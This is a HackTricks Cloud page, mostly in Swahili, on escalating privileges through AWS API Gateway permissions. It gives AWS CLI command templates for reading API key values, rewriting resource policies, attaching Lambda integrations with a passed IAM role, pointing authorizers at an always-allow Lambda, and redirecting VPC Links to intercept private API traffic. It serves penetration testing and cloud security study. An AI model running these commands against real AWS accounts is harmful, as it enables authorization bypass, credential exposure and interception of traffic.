AWS - Apigateway Privesc
Tip
Jifunze na ufanye mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Saidia HackTricks
- Angalia the subscription plans!
- Jiunge na π¬ Discord group au the telegram group au utufuate kwenye Twitter π¦ @hacktricks_live.
- Shiriki hacking tricks kwa kutuma PRs kwa HackTricks and HackTricks Cloud github repos.
Apigateway
Kwa maelezo zaidi angalia:
apigateway:POST
Kwa ruhusa hii unaweza kuunda API keys za APIs zilizowekwa (kwa kila eneo).
aws --region <region> apigateway create-api-key
Athari Inayoweza Kutokea: You cannot privesc with this technique but you might get access to sensitive info.
apigateway:GET
Kwa ruhusa hii unaweza kupata API keys zilizotengenezwa za APIs zilizosanifiwa (kwa kila eneo).
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
Athari Inayoweza Kutokea: Huwezi kufanya privesc kwa njia hii, lakini unaweza kupata ufikiaji wa taarifa nyeti.
apigateway:UpdateRestApiPolicy, apigateway:PATCH
Kwa ruhusa hizi inawezekana kubadilisha sera ya rasilimali ya API ili kujipatia ufikiaji wa kuiita na kutumia vibaya ufikiaji ambao API gateway inaweza kuwa nao (kwa mfano, ku-invoke lambda yenye udhaifu).
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
Athari Inayoweza Kutokea: Kwa kawaida, hautaweza kufanya privesc moja kwa moja kwa mbinu hii, lakini unaweza kupata ufikiaji wa taarifa nyeti.
apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole
Note
Inahitaji majaribio
Mshambuliaji aliye na ruhusa apigateway:PutIntegration, apigateway:CreateDeployment, na iam:PassRole anaweza kuongeza integration mpya kwa API Gateway REST API iliyopo kwa kutumia Lambda function ambayo imeambatishwa na IAM role. Mshambuliaji anaweza kisha kusababisha Lambda function itekeleze msimbo wowote na kwa hivyo kupata upatikanaji wa rasilimali zinazohusiana na IAM role.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"
# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Athari Inayowezekana: Upatikanaji wa rasilimali zinazohusiana na IAM role ya Lambda function.
apigateway:UpdateAuthorizer, apigateway:CreateDeployment
Note
Inahitaji upimaji
Mshambuliaji mwenye ruhusa apigateway:UpdateAuthorizer na apigateway:CreateDeployment anaweza kubadilisha authorizer uliopo wa API Gateway ili kuepuka ukaguzi wa usalama (mfano: kurekebisha ili ielekezwe kwa Lambda ambayo kila mara hurudisha βallowβ) au kutekeleza arbitrary code wakati maombi ya API yanapotumwa.
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Athari Zinazowezekana: Kuepuka ukaguzi wa usalama, upatikanaji usioidhinishwa wa rasilimali za API.
HTTP APIs / apigatewayv2 tofauti
Kwa HTTP APIs (API Gateway v2), operesheni sawa ni kusasisha authorizer kupitia apigatewayv2:
REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
apigateway:UpdateVpcLink
Note
Inahitaji upimaji
An attacker mwenye ruhusa apigateway:UpdateVpcLink anaweza kubadilisha VPC Link iliyopo ili kuelekeza kwa Network Load Balancer tofauti, na hivyo kupelekea trafiki ya API ya kibinafsi kupelekwa kwa rasilimali zisizoruhusiwa au zenye madhara.
VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
Athari Inayoweza Kutokea: Upatikanaji usiotoruhusiwa wa rasilimali binafsi za API, kuingilia au kuharibu trafiki ya API.
Tip
Jifunze na ufanye mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Saidia HackTricks
- Angalia the subscription plans!
- Jiunge na π¬ Discord group au the telegram group au utufuate kwenye Twitter π¦ @hacktricks_live.
- Shiriki hacking tricks kwa kutuma PRs kwa HackTricks and HackTricks Cloud github repos.
HackTricks Cloud

